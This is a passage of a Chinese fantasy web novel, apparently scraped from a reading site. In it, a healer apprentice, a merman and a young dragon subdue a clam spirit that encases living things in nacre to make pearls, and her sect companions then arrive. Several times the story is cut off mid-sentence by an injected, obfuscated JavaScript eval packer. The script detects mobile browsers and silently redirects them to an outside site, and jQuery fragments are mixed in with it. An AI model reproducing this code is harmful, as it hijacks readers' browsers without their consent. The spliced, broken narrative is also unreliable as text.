丁依试着对小蚌精使出她会的所有法诀——控水诀、悬浮咒、移星术——都没有用。 “不是,你就没有伤害值再高一点的法术吗?” 人鱼看不下去,捂着被狗咬出牙印的脸冲丁依喊道。 “我不会!我本来就是主修治疗术的辅助!”眼看这粘稠的粉白色物质已经裹到了她和魏家隆的胸口,丁依有点抓狂。她冲人鱼大喊: “你不要光说风凉话,说好的天生会法术呢,快想点办法啊!” 人鱼叹了口气,对丁依道:“你捂住耳朵。”他深吸一口气,张开嘴,发出了一声尖锐的啸叫。 丁依捂着耳朵,看着小蚌精先是被这声啸叫震出了几米,然后又嘿咻嘿咻地游回来,想继续把粘稠的粉白色物质裹到丁依的身上。 等它重新游近,丁依才看清,丝丝缕缕的鲜血正从贝壳里渗出来,显然是因为刚刚人鱼的声波伤害。 但小蚌精自己却仿佛没有感觉,只是麻木地想继续绕着丁依打圈,把粘稠的粉白色物质裹上来。 “喂!你究竟在干嘛!”丁依终于忍不住对小蚌精喊出声来。 小蚌精还是没有出声,人鱼却替它回答了。 “这还要问?它在用我们养珍珠啊!” 人鱼一脸嫌弃她少见多怪的样子,科普道:“这只蚌精现在拿来裹着我们的,是它分泌的珍珠质,它这样用珍珠质像包饺子一样一层层包裹我们,就会形成珍珠囊。每包裹一层,珍珠就长大一点,叠加到一定程度,最后就会养成珍珠。” 原来是这样! 丁依心里一沉:这下问题严重了 奇怪地是,两人这样一问一答,小蚌精却仍是一声不吭,流着血,继续闷头往丁依和魏家隆身上裹珍珠质。而且,丁依发现,每往她和魏家隆的身上裹一层,小蚌精自己身上的死气,好像也更重了一点。 眼看小蚌精已经快裹到自己的手,丁依赶紧催促人鱼:“你快点,再叫几声,拖延一下。” 人鱼下巴抬了抬,问道:“确定吗?你养的这条龙受得了?” 什么? 丁依瞪大眼睛,往他下巴指的方向看去—— 龙小小的身影,正吨吨吨地踩着水向他们游来。 完了,这下她只有一成把握了。 23. 第 23 章 和丁依对上视线后,龙的四只爪子踩得更起劲了。 虽然丁依杀鸡抹脖子瞪眼地警告它快点离开,但它仍然兴高采烈地奋力向前,急着来当第四只要被蚌妖做成珍珠的大冤种。 丁依扶额。 “还有别的办法吗?”她向那头的人鱼喊道,“除了尖叫,你还有别的办法能对付这蚌精吗?” “那不叫‘尖叫’,叫「鲛音」,”人鱼纠正道。从刚刚开始,他就不紧不慢。 “要说别的办法——” 话音未落,人鱼金色的瞳孔再次亮了起来。 他身后,巨大的暗流旋涡凭空而起,像一只饥肠辘辘的虎鲨般猛然扑向小蚌精,一口将它囫囵“咬”住,硬生生从丁依身边拽到数米之外。 看到蚌精远离,丁依长舒了一口气。 同样是控水术,人鱼这招比她的强了不止一点,纯血水妖的控水能力和她这样的战五渣根本不在一个量级。 可紧接着,丁依再次屏住呼吸——她看到,不远处,那小蚌精被如此强劲的水流裹挟着,居然还在动! 只见裹住小蚌精的旋涡中央,不知不觉涌出了另一层水流,并且越来越厚,将小蚌精和人鱼制造的湍流隔开,牵引着蚌精继续往丁依这边挤过来。 这是小蚌精自己在控水。它引来新的水流,来对抗人鱼的旋涡。 看着旋涡中的蚌精越靠越近,眼看又要碰到自己,丁依对人鱼大声求救:“能再使点劲吗!!” 人鱼的脖子上青筋绷起,听到丁依的叫声,他发亮的瞳孔陡然熄灭。他泄劲了。 小虞喘了口气,才开口道:“不行,这珍珠质里面估计有点什么,它本就是蚌类为了抵御异物入侵而分泌的,被裹里面那么久,我没劲儿了。” 看到人鱼失去战力值,丁依的心更沉了。 敌方是难杀的丧尸蚌精,而己方是半死鱼状态的人鱼,啥也不懂的龙,昏迷的过气男明星,加上战五渣的自己—— 好烂的配置,好难打的僵局。 丁依正思考解法,忽然感到脸颊蹭过一片毛茸茸的柔软。 是龙的鬃毛。 龙终于游到了丁依的面前。它低头研究了一会儿丁依身上裹着的珍珠质,又抬头向丁依歪了歪脑袋,瞳孔里只有清澈,没有恐惧,显然并不理解现在的状况。 看着龙的眼睛,丁依抿了抿嘴。被无辜牵连的魏家隆还昏迷在她身旁,她不能再犯刚刚的错误,不论整盘局接下来是什么解法,第一步,一定是先把这条龙送走。 龙毕竟是龙,身体足以承受在海底快速上升,思及这一点,丁依没有犹豫,掐指闭目,凝神运气。 龙瞪大了它的蓝眼睛,盯着丁依身后突然涌出的无数条细细的水流,汇聚合流成了一条巨大的“鲸鱼”。 紧接着,“鲸鱼”嚯地张开大口,一口把它吞下,随后扶摇直上,直向海面冲去。 丁依看着龙的眼睛不可置信地盯着她,然后被裹在水流中离开后,就将注意力再次放回真正的敌人—— 小蚌精身上。 来自人鱼的力量消失后,蚌妖再次迅速地靠近了丁依。 经历过刚刚的突袭,它的动作明显更急了,贝壳飞速地开合着,绕着圈往丁依和魏家隆身上分泌珍珠质,麻木机械的样子像是某种刻板行为。 与此同时,它身上萦绕的死气也越发浓重。 丁依几乎已经看不清它贝壳上的纹路,只看到一团灰气在围着自己打转,连带着它分泌出的珍珠质,看起来也有些发灰,甚至散发着一股令人窒息的腥臭味, 丁依缩着脖子想躲开这个臭味,却听到哪里传来了蚊子声似的声音。 她惊讶地低头。 刚刚没听错的话,这蚌精是……在说话? 她再次把耳朵凑近,努力想分辨那蚊子般的嗡嗡声。马上,她拧起了眉—— 它似乎只是在嘟囔着重复罢了。 既然这蚌精只是自言自语,丁依也不想浪费时间,她直接开口: “你好,能商量下吗?既然我们都要变成珍珠了,能不能让我们死个明白?” 话音刚落,眼前那团灰蒙蒙的死气,突然停下了。 丁依惊讶了一瞬,心里涌上希望。 如果这蚌精愿意交流,无疑是一个积极的信号。 她放轻语气,循循善诱: “我没有别的意思,就是想知道你到底求的是什么?如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁依还在找灵感,但蚌妖可不会等她。 眼看珍珠质源源不断地往胸口黏,她迫不得已把两只手高高举起躲避,并再次大声向人鱼求助: “人鱼!你再叫一下!帮我拖点时间!” 人鱼看着她,犹豫了。 “快点啊!!!”丁依大叫着催促。 人鱼这才开口道:“其实……裹起来也没什么不好,最多……就是有点犯困。”说着,他甚至动了动自己唯一还露在外面的头,想作为自己说的话的佐证。 “哈?” 丁依简直怀疑自己的耳朵。她质问人鱼:“你不会是连叫一下的劲都没了吧?” “叫一下的劲倒是还有,”人鱼叹了口气,“,但它还有没有撑过这一下的劲,我就不确定了。” 它? 丁依顺着人鱼的视线看去,却只看到那只蚌精。 她没耐心细看,也没耐心细想。 珍珠质已经黏到了她的腋下,她的情绪愈发暴躁了起来。 “反正你要是不叫,我们俩都要死!” “死倒是不至于。” 人鱼欲言又止,他的瞳孔突然亮起。四周,原本浑浊昏暗的海水瞬间被金光点亮,刚刚隐没在黑暗之中的景象映入丁依的眼帘。 丁依刚刚还竖着的眉毛,不由自主地放了下来。她被眼前的景象震撼—— 人鱼的身后,居然是一大片珍珠山! 层层叠叠的珍珠堆砌成连绵不绝的山脉,从海底一直延伸到视线尽头,在这浑浊的海水中,反射着渗人的惨白。 “天哪……” 丁依震惊地合不拢嘴。 “这蚌精杀了多少人,才能制出这么多珍珠啊……” 人鱼摇了摇头。 “不用杀人,那些就是普通珍珠,是这蚌妖拿沙粒、石子、死虫尸体制成的。” “至于这些——” 人鱼看向自己的脚边,那里正滚着一堆形状不一的“蚕茧”,密密麻麻地铺满了一片。 最小的拳头大,最大的也不过是比人鱼的脑袋稍微大点,“蚕茧”外面裹着的也是珍珠质,里面却显然是些鲜活的生命,正在拼命挣扎扭动。 “——估计才是这蚌精新绑来的活物,估计是些鱼虾蟹贝吧。” “我猜,这蚌精一开始的目的,并不是要杀生。” “一开始,它应该只是想制造很多的珍珠。 它先用沙粒和石子制作珍珠,慢慢地,沙粒和石子用完了。 然后,它找小虫和虾米的尸体制作珍珠。慢慢地,小虫和虾米的尸体也用完了。 原材料都用完了,但珍珠还没有制完。 所以它才把脑筋动到了这些活物——” 人鱼说着,看了看脚下扭动的“蚕茧”。 “——还有我和你的头上。” 听完人鱼的话,丁依再次看向蚌精。 这只被死气萦绕的蚌精仍兀自转个不停,勤恳地往自己和魏家隆身上缠着粘稠惨白的珍珠质。 虽然珍珠质已经缠到了丁依的脖子这儿,但不知是破罐破摔了还是怎么着,丁依居然不那么着急了。 她高举着手,忍受着腥臭气,努力沉下心,观察小蚌妖的动作。 看着看着,她注意到,缠绕着小蚌妖的死气之中,仍旧不断地有鲜血溢出,散在水里。 它居然还在流血。 原来人鱼刚刚怕它撑不住,指的是这个。 丁依问人鱼:“你刚刚那一声,效果这么厉害?让它流血到了现在。” 人鱼“咳咳”两声,道:“不止一声。” “啊?” “其实,在它拿珍珠质绑我的时候,我就叫了……发了好多次「鲛音」,这才阻止了它把我的头裹住。”人鱼道。 丁依恍然大悟——此刻珍珠质已经裹到了她的下巴。刚刚她就奇怪,为什么这蚌妖给人鱼留了头,到自己这里却一点没有停手的意思,原来人鱼那边,也是用的暴力中断魔法。 人鱼继续道:“刚刚这只蚌妖不堪「鲛音」离去时,就已经是强弩之末。我还以为它要不是去搬救兵,要不就是先找地方养生。没想到它一点没有休息,转头就又把你和这凡人绑来——等会,这凡人是魏家隆?” 金光照亮了珍珠山,也照亮了丁依身旁魏家隆的脸。 发现魏家隆也在这里,人鱼肉眼可见地紧张了起来。 “怎么办,”他惶然道,“要是魏家隆在这儿出事,老杨的纪录片铁定拍不了了。” 哈?丁依万万没想到他会接这句。 没想到一条人鱼,也这么在乎自己的工作。 那头,人鱼的金色瞳孔明明灭灭,似乎在下定决心。 终于,他叹了口气道:“抱歉,蚌兄,虽然不知是什么原因,逼得你要产这么多珍珠,可你既然把魏家隆绑来……我如果不这样,我的工作就完不成了……” 他的嘴里碎碎念着,瞳孔也渐渐亮起—— “等会!” 丁依这一叫,把箭在弦上的人鱼吓了一跳。他喘了好几下气才平复呼吸,生气地问丁依: “又怎么了?” “嘘,安静一点。” 丁依的声音听起来怪怪的,可能因为珍珠质已经裹住了她的下嘴唇。 说完刚刚那句,她就不再说话,让人鱼摸不着头脑。 好一会,丁依突然开口: “你说,什么完不成了?” 人鱼以为她在问自己,刚要回话,却见那只蚌妖停住了—— 那团浓重的死气,定定地停在了丁依的面前。 丁依再次开口:“小蚌精,我问你,你一直在念‘完不成了……完不成了……’”她还留在珍珠质外面的眼睛穿过死气,死死盯着藏在里面的蚌妖—— “——你‘完不成’的,究竟是什么?” 这次,藏在死气里的蚌精依然没有回答丁依的问题。 它倒是停了很久,但最终还是一言不发。它继续开始挪动,刚刚一直嘟囔的那句“完不成了”,也不再说了。 珍珠质裹上了丁依的鼻子,然后是她的眼睛和耳朵,她的世界陷入一片黑暗。人鱼急切的呼喊像是从遥远的地方传来: “怎么样?它回你了吗?我咋没听到啊?我要不要叫啊?完了魏家隆已经被裹住鼻子了,你能不能给他做个人工呼吸啊……” 与人鱼的焦灼相反,丁依的内心现在一片平静。 她举在头顶的手指,正在轻轻地弯曲。 如果这蚌精自困的原因如她所想,那她现在,有十成十的把握了。 她努力忽视钻入鼻孔的腥臭,和黑暗带来的恐慌。 沉下气,掐指捏诀,心中默念: 「问劫渡心」。 一旁,人鱼已经急得如同热锅上的烤鱼。 正当他准备不管不顾使出「鲛音」时,却发现那只蚌精,突然痛苦地抖动了起来。 哎嘿?发生了什么? 人鱼打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597421|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开灵识,看见丁依周身浮动着细雪般的莹白光晕。 她正在施法。 可适才这蚌精受到其他攻击时,即使流血脱力也没有反应。她究竟用了什么法术,居然让它反应这么大? 随着丁依的施法,小蚌精持续地剧烈抖动。它周身环绕的死气逐渐散开,露出里面那只流血不止、贝壳布满裂纹的虚弱小蚌来。 它的贝壳大开,似乎无力合上,里面的蚌肉也干瘪蜷缩,发灰的珍珠质如干涸的石灰般剥落。 好一会儿,小蚌精终于不再抖动。 刚刚那如丧尸般永不停止的气力,终于从它身上全部流走。在它昏迷前,丁依听清了这只小蚌精喃喃念出的最后一句话—— “……给龙王爷的供奉,完不成了!” 就此,昏迷的小蚌精,像片落叶般飘落到了海底。 目睹这一切,人鱼目瞪口呆。 “……丁依,你对这蚌精做了什么?说好的主修治疗术的辅助呢?” “我用的是问心术——也是治疗术的一种。” 回答依旧是从“蚕茧”里传来,听起来嗡嗡的。 战局获得初步胜利,丁依开始试图从这“蚕茧”中脱逃。 她的身体使劲发力,但“蚕茧”纹丝未动。 换成法术——她的控水术,只能把她自己摇得头晕。 更糟糕的是,她甚至开始觉得有点“困”了——小蚌精虽然昏迷,但它留下的珍珠质仍在发挥着作用。 刚刚被她强行忽视的身体反应卷土重来:珍珠质黏在脸上的感觉很恶心,努力呼吸却只能吸进刺鼻的臭味,失去视野的黑暗更让她心烦,手举了很久也很酸。 她在心里抱怨——要是早点解决小蚌精就好了。 正当她想再次呼喊人鱼时,一片毛茸茸的柔软,蹭过了她高举着的手。 是龙的鬃毛。 它怎么又回来了? 龙蹭了蹭丁依的手后,好一会没有动作。 然后,丁依听到头顶传来一声轻轻的嘶拉声,像是皮肉撕裂的声音。 紧接着,是利齿咬碎硬物的咔嚓声。 嗯?这条龙在干什么?不会赶过来饿了,在她头顶吃灵虾吧? 正当丁依满头问号时,她突然感觉到紧紧裹着自己的珍珠质,在慢慢“融化”—— 脸上的黏着和腥臭褪去,她的视野重新恢复;双手慢慢能够放下来了,周身的束缚不再。 恢复视线,丁依看向周围。 脱落的灰白色珍珠质飘散在周围的海水中,缓缓下坠。浅浅的冰蓝色光晕夹杂其中,丁依细看,发现这光晕是悬浮着的细碎冰蓝色颗粒物。 丁依疑惑地抬头,却只望进龙一如往常清澈见底的蓝眼睛里。 这些是什么?你做了什么? 她对着龙,歪了歪脑袋。 龙看着她,停顿了一下,然后调转头,吨吨吨地踩着水,朝人鱼的方向游去。 丁依屏住呼吸,看着龙的动作。 只见它游到人鱼的上方停住,头往后拧,“嘶拉”一下咬下了什么东西。然后它的嘴嚼嚼嚼,发出一阵“咔嚓”声。细碎的冰蓝色颗粒物从它的嘴里逸出,洒在龙的身上,粘稠的石灰质瞬间变干,如同陈旧墙皮般片片脱落。 丁依愣住了。 原来,“融化”掉珍珠质的,是被龙咬碎的、它自己的鳞片。 这时,她耳边传来了久违的爽朗声音: “师妹不要慌,我来救你了!” 25. 第 25 章 “来得真早,怎么不干脆等我死了再来?” 这句话,丁依是“笑”着咬着后槽牙说的。 姗姗来迟的师徒三人组面面相觑。 “都怪梁凡,拿着个万象妖踪图也不认路。”晦明嫌弃地用手掩住口鼻。变成人身后,他一直捂着鼻子,似乎是受不了这海水中的腥臭味。 “师弟,我是认错了一回路,但后面分不清东西南北的可是你吧?”梁凡跟着叫冤。 “咳咳,别说了,都怪为师。”眼见两个逆徒要吵起来,叶瑾瑜赶紧压下这场口角。 “所以,现在是个什么情况?”她转头问丁依。 “嗯……”丁依犹犹豫豫地开口。 “……今天我在海边工作……然后,突然,我发现有妖气,开了灵识一看,发现这蚌精想要伤这凡人,就是我身边晕着的这一个……嗯然后……” 她有心想说得简单明了,无奈心中毫无线索,只好事无巨细、拉拉杂杂地全给叶瑾瑜讲了。 “龙王爷?” 听到小蚌精那句“给龙王爷的供奉,完不成了”,梁凡的脸上浮现古怪的神色。 和他对上眼神,丁依便知道,他也想起了当初生日宴上小蚌精的炫耀。 了解完前因后果,叶瑾瑜的眉梢微挑。她没有言语,四下扫了扫,把目光锁定“珍珠山”,袖袍一卷,足尖点地,倏忽向“山顶”漂去。三个徒弟也随之跟上。 站在山顶看这“珍珠山”,视觉效果更为震撼。 浑浊死寂的海水中,惨白的珍珠层层叠叠漫向尽头,竟似在海底铺了一层珠光森森的白骨。 梁凡脱口而出:“怎么这么多珍珠!” 晦明则掩鼻皱眉,丁依也在强行忍耐——站在这珍珠山上,腥臭味更加浓烈。 叶瑾瑜掐诀引水,托起一捧珍珠仔细观察。 梁凡也跟着捡起几颗珍珠细看。 “这珍珠……” “貌似就是普通珍珠,”丁依在一旁补充道,“这是人鱼说的。” 听丁依提起自己,人鱼轻摆尾鳍,靠近过来。 师徒三人组来到后,人鱼就一直在不近不远的海水中悬停着,这三人中他只认识梁凡,并且认识过程并不太愉快,他并不准备上来打招呼。 晦明漫不经心地扫了一眼梁凡手上的珍珠,从他掌心里捻起一颗,对着光线晃了晃,品鉴道:“确实是普通珍珠,而且品相极差,不仅色泽晦暗,形状也凹凸不平,说是‘死鱼眼’还差不多。” 听见晦明的话,人鱼忍不住“哼”了一声。 师徒四人齐齐看过来。 晦明看着人鱼,眼尾微挑:“怎么?这位海里的朋友对珍珠鉴赏还有高见?” 感受到不善的目光,人鱼下意识蜷起尾鳍,但仍是坚持道:“珍珠本就是贝类自我保护的副产品,所谓‘品相’,不过是你们凡人强加的标准罢了。还有‘死鱼眼’这种形容……” 晦明打断了他:“喔?你觉得我是凡人?” 得,又来了。 听到晦明的话,丁依忍不住翻白眼。她原本记挂着别的事,留下来只是单纯想听听叶瑾瑜对小蚌精一事的见解。 但现在,她只想赶快离开。 丁依对人鱼挥了挥手,示意他到自己这边; 又瞥了一眼龙,见它正在海底那堆“蚕茧”那边拧着脖子,似乎还想要拔自己的鳞片,便伸手施了个“控水术”,用水流把它捞了回来。 捞回来才发现,龙已经大得她一手揽不下了。 它这成长速度也太惊人了,简直像气球被吹大了似的。 丁依揽着龙,伸手指向海底那些“蚕茧”,问叶瑾瑜道:“这些东西里面,应该还有活物,您和大师兄两个人能处理得了吗?” “能。” 叶瑾瑜点头道。只见她从虚空里掏出一柄拂尘,对那些“蚕茧”一扫,包裹“蚕茧”的珍珠质便发灰萎缩,片片脱落。数十只瑟瑟发抖的海鱼、海蛇、贝壳、海马从脱落的珍珠质中仓皇逃出,迸散开来,没一会儿就消失在视野里。 丁依沉默了,为自己的学艺不精。 但凡她学到了叶瑾瑜三成,刚刚她和小蚌精的对峙,都不会那么狼狈。 她在心里叹了口气,然后道:“那师父,既然帮不上忙,我就先上去了。这里就麻烦您和大师兄……还有师弟来善后了。” 叶瑾瑜连忙道:“好的好的,你上去好好休息。” 丁依摇摇头:“还不能休息,我还有工作没完成呢。” 叶瑾瑜这才想起来,刚刚最开头丁依是提了一句,她是工作到一半被这小蚌精拽下来的。 她心里暗暗咋舌,感慨这二徒弟的凡人工作实在是辛苦,愈发为自己的姗姗来迟愧疚起来。 “那……梁凡,要不你送送你师妹……” 话未说完,晦明身形一晃,众人还没明白发生了什么,就见黑鳞覆体,龙爪破空——眨眼间,山峦般的黑色巨龙已横亘海中。 “我送她吧。” 化为龙形的晦明道。 看见人身化龙的这一幕,丁依身边的小龙瞬间瞪圆了眼睛,连后颈的鬃毛都立了起来。 虽然刚刚它已经看过天空中翱翔的黑龙,但第一次看到人身化龙,还是超近距离,给了这条小东西极大的震撼。 看着黑龙摇曳的巨大龙尾和闪着寒光的龙爪,小龙的尾巴尖也忍不住拍了拍水,四只小爪子也模仿着晦明龙爪弯曲的弧度,下意识动了动。 和面前的黑龙真身比,它这条龙,简直就像一条小手办。 丁依并没有注意到小龙的反应。她正好漂在晦明的脑袋边,被他突然暴涨的音量震得耳朵发麻,正龇牙咧嘴地揉着耳朵。 倒是晦明注意到了小龙的反应。他赤瞳微眯,在小龙身上停留半秒,随即冷淡地移开,鼻腔里溢出一声轻嗤。 挪动了两下龙爪,沉重的龙身搅动海水,掀起一片浑浊的泥沙漩涡后,晦明伏下前身,靠近丁依的那一侧身躯微微朝她倾斜。 “上来,我带你们上去。” 最终,人鱼也不肯接受晦明的“好意”,坚持要自己游上去,丁依只好带着昏迷的魏家隆和小龙爬上了晦明的龙脊。 确认丁依坐稳后,晦明的龙尾猛地一扫,掀起海底巨浪。 海底的几人没反应过来,都被这道巨浪给扫了个踉跄。 梁凡差点呛水:“噗噗噗——师弟怎么回事,这启动得也太突然了。” 龙脊上,丁依也被晦明突然的加速度搞得狼狈不已。她紧紧地护住昏迷的魏家隆,严重怀疑晦明这样做只是想要在人鱼面前展现一次自己化形为龙的过程,以报复人鱼刚刚那句“你们凡人。” 这一次,没再迷路的晦明很快把他们带上了海面,但为了等还没上来的人鱼,他们只好在回龙湾离岸半里开外的海上漂着。 丁依坐在晦明的黑色的龙脊上,遥遥望着远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晦明试图理解丁依的问题。思考了一会后,它从胸腔里发出一声沉闷震动的叹息。 “好吧,你想拔就拔吧,就是我会很……会稍微有点痛。”说完黑龙绷直了自己的黑色龙尾,一副极力忍耐的样子。 “不不不,”丁依赶紧拒绝。“我不拔,我就是想知道,你有拔过自己的鳞片吗?” “那怎么可能!我又不是受虐狂。龙鳞被拔可是很……可是稍微有点痛的。”晦明再次强调。 “这样……”丁依若有所思。 她看向一旁海面上正踩着水玩的小龙。 小龙的脊背上,三处龙鳞缺失的地方露出粉色的嫩肉,在海水浸泡下微微泛白。第一片是自己肚子痛时,它撕下来送给自己的。后两片是刚刚,它咬碎了龙鳞,用龙鳞的粉末“融化”了小蚌精的珍珠质。 看来,龙的鳞片是“有用”的。 丁依想了想,又开口问晦明道:“我再确认下,除了拔之外,还有什么办法能获得你的鳞片?它会自然脱落吗?” 这次,换成晦明不接话了,它的黑色龙尾,再次不自然地摇了摇。 丁依奇怪地抬了抬屁股:自己坐着的黑色龙鳞,怎么开始发热了? 26. 第 26 章 丁依奇怪地摸了摸黑龙的脊背。 掌心下的鳞片的触感顺滑,泛着轻微的灼热。 可能是太阳太大了。 她抬头看了看天空。 碧空如洗,万里无云,阳光照得她的背上也暖暖的,这确实是个好天气。她在心底惋惜了一把今天没拍成的“海边大片”。 终于等到人鱼冒出海面,丁依和他说了自己的善后计划。 “行。” 人鱼答应下来。 他看向不远处的岸边,救援队员们正在礁石湾上来回走动,橙色制服在阳光下格外刺眼。 “我们就这么游过去?” “游到那个码头吧,上岸之后,你再把人叫过来‘救’我和魏家隆。” 丁依指了指另一侧的废弃码头,那里空无一人,只歪斜着插着几根断裂的木桩。 人鱼点点头。他游过来,想要接过魏家隆。 也是阳光太好,粼粼波光映照下,人鱼漂浮在海面上的亚麻浅金的长发像撒了碎钻一样闪烁,丁依稍微被晃了晃眼。 她眨了眨眼,捏起移星换斗诀,正要抬起魏家隆时,黑龙突然开口:“记住我说的,小心点发情期的妖怪。” 腾的一下,人鱼全身都红了,像只煮熟的虾子。 丁依皱了皱眉,继续掐诀—— “好吧晦明,我记住了。那你也记住我说的——你自己能先成熟点吗?我们都不是小时候了——” 说话间,她把昏迷的魏家隆挪到了人鱼的怀里。 “——还说别的发情期妖怪会伤人,你自己呢?都是那么大一条龙,心眼这么小,还不如这条泥鳅……这条小龙呢!” 边说,她撑着龙脊,缓缓地没入海水。 听完她的话,黑龙的胸腔里发出了愤怒的闷哼,龙脊上不自觉立起的鳞片,瞬间划伤了丁依还放在上面的手。 “嘶——” 丁依吃痛,猛地缩回了手。 她低头看了眼掌心——掌心出现了一道细长的伤口,伤口的边缘微微外翻,正在渗出血珠。有点痛,但应该没大碍。 小龙原本正靠在丁依的腿边。注意到丁依的异样,它仰起脑袋看向她,水晶般清澈的瞳孔里映出丁依蹙眉的表情。 它的鼻子动了动,爪子踩着水,头部努力支起,似乎想凑近丁依受伤的手。 黑龙的背影不自在地僵硬着。 听到丁依痛呼的同时,他就闻到了血的气息。猜出发生了什么,他虽然心里感到后悔,却仿佛被施了定身咒一般,呐呐不能言。 丁依看了眼黑龙如石雕般僵直的龙尾,叹了口气,掐起控水术,游到龙头的一侧,举起那只受伤的手—— “你看吧。刚说完你就把我弄伤了。” 黑龙躲闪着移开了他的赤色瞳孔。 丁依没再逼他。她试图伸手摸他的后颈,在发现摸不到后,转而摸了两下他的嘴筒子。 黑龙的身体缓缓地放松了。 “我走了,晚点见,师弟。” 说完,她招呼的人鱼和小龙,带着昏迷的魏家隆,掐着控水术,朝废弃的码头而去。 身后轻轻的浪花响起,黑龙悄无声息地钻回海底,去找叶瑾瑜和梁凡了。 海浪起伏,废弃的码头 丁依隐约记得,十几岁的时候,自己对于晦明的坏脾气,要比现在包容的多。 或者说,那时候他们两个的脾气都不太好,永远在为鸡毛蒜皮的小事吵架,然后再别扭地继续一起玩。 她现在有点回过味来——自己已经变了,而晦明还留在小时候。 抵达废弃码头,丁依和人鱼合力把魏家隆推了上去,又扒开一直往她手上凑的毛茸茸的龙头,示意小龙先上码头等她。 她转过身,正想再和人鱼盘一遍他们的计划,却看见人鱼的视线上扬。 “怎么……” 话还没问出口,她的肩膀被人拍了拍。 “你……还好吗?”一个声音问道,带着沙哑的颗粒感。 她转过头。 是魏家隆,他醒了。 丁依愣了一下,大脑疯狂运转。 这时,她的身边有人钻出水面——是变回“小虞”的人鱼。 “魏老师您醒啦?我是小虞,在海边发现了昏迷的您和小丁老师。”凡人模样的人鱼一板一眼地背诵出他和丁依商量好的说辞。 丁依放下心来——幸好,戏接上了。 因为魏家隆坚持自己身体没有丝毫不适,三人便一起往救援队所在的海滩走去。 一路上,魏家隆都在询问小虞发现自己时的情况。 “这个……当时……”不擅长说谎的人鱼向丁依投来求助的眼神。 丁依摇了摇头,作为和魏家隆一起“昏迷”的另一位当事人,她实在是爱莫能助。 还好,魏家隆虽然一脸若有所思,但还是接受了自己在海里晕了很久的事实。 和救援队员接洽上后,丁依问他们借了手机,给各方都报了平安。 她收到的回馈是爆炸式的。 Cici姐在电话那头不住地“谢天谢地”。刚刚两人落水,拍摄短暂停止后又挪到了丁依租的备用棚,但团队忧心两人的下落,拍摄都状态不佳。她说了声“要把这个好消息告诉大家”,便急匆匆地挂了。 魏家隆的经纪人也是丁依通知的,对方听起来是一位中年男性,他直接激动地在电话里哭了:“太好了,还以为大前天是我见他的最后一面,呜呜呜……” 丁依开的公放。听到哭声,她尴尬地看向魏家隆,对方笑着摆了摆手,示意丁依继续接。 挂了电话,丁依问:“您经纪人没跟来啊?” 魏家隆不以为意:“没来,就只有化妆师来了,我不喜欢让他们到哪儿都跟着。” 这提醒了丁依,当初自己还从艺统那儿收到过魏家隆经纪人的拒绝——难怪他当时说艺人团队联系不到艺人,毕竟他自己人都没来。 丁依最后给张铭打的电话。 张铭也很惊喜:“我赶紧去和节目组说一声,明天录制一公,本来他们都已经启动应急预案了。” “嗯,”丁依提醒他:“记得和营销团队也说一下,原本她们计划下午一点做路透热搜,现在路透做不了了,问问约的大号投放还能退吗?” “哎哟,”张铭乐了,“放心,就算退不了,这点钱和你们两个人平安回来根本没得比。”这句话他倒是发自肺腑说的。 挂了电话,丁依再次推开小龙凑过来的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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视频接近结束,她点了暂停。尽管视频很抖,依然能看清魏家隆没有丝毫犹豫拉住自己的背影,看着这帧画面,丁依沉吟了一下,和人鱼道:“这个视频转给我,记得选‘原图’。” “喔好。” 回到酒店,丁依和小虞告别,夹着那条龙回到了自己的房间。 她又看了一遍那条老杨拍的视频,把这条视频转发了出去,又发出了几条消息。 期间,龙一直在试图挣脱锁灵符。 丁依收了手里的活,走向还在闹腾的龙。 她检查了它背上鳞片缺失的伤口,虽然有回春符加持,但估计时间太短,还没有好转的迹象。掏出药膏,给伤口涂上后,她拍了拍龙的脑瓜子。 “别乱动了,给你养伤呢!” 忙完这些,丁依去洗了个澡,然后订了个闹钟,躺床上睡着了。 醒来时,她发现自己居然睡过了闹铃的时间。 她打开手机,想看看Cici姐那边拍摄的进度,先弹出的却是晦明发来的消息: 「我能过来找你吗?」 27. 第 27 章 不知何时,窗外下起了雨。 雨声淅淅沥沥。 丁依先回复了晦明的消息,才去看工作群。 杂志的拍摄已经收工了,Cici姐私聊了她表达感谢,说留了小礼物,托制片转交给她。 丁依感谢了她,又想起什么,点进和张铭的对话框。 正要编辑消息,一对龙角突兀地插进她的视野里。 那条龙悄无声息地上了床。 丁依在心底叹气。 这条龙的成长速度太快,没想到锁灵符这么快对它没用了。 龙不知道丁依在想什么。 它低着头,在丁依的下巴和脖子之间嗅闻了一番,银白的鬃毛从龙颈后垂落,若有似无地擦过她露出的皮肤。 两只前爪撑在她耳侧,龙身盘踞在她上方,形成压迫性的阴影。 丁依的角度看不见它的表情,只听到轻轻的呼吸声,以及翕动的鼻息温热地拂过她的下巴和脖子。 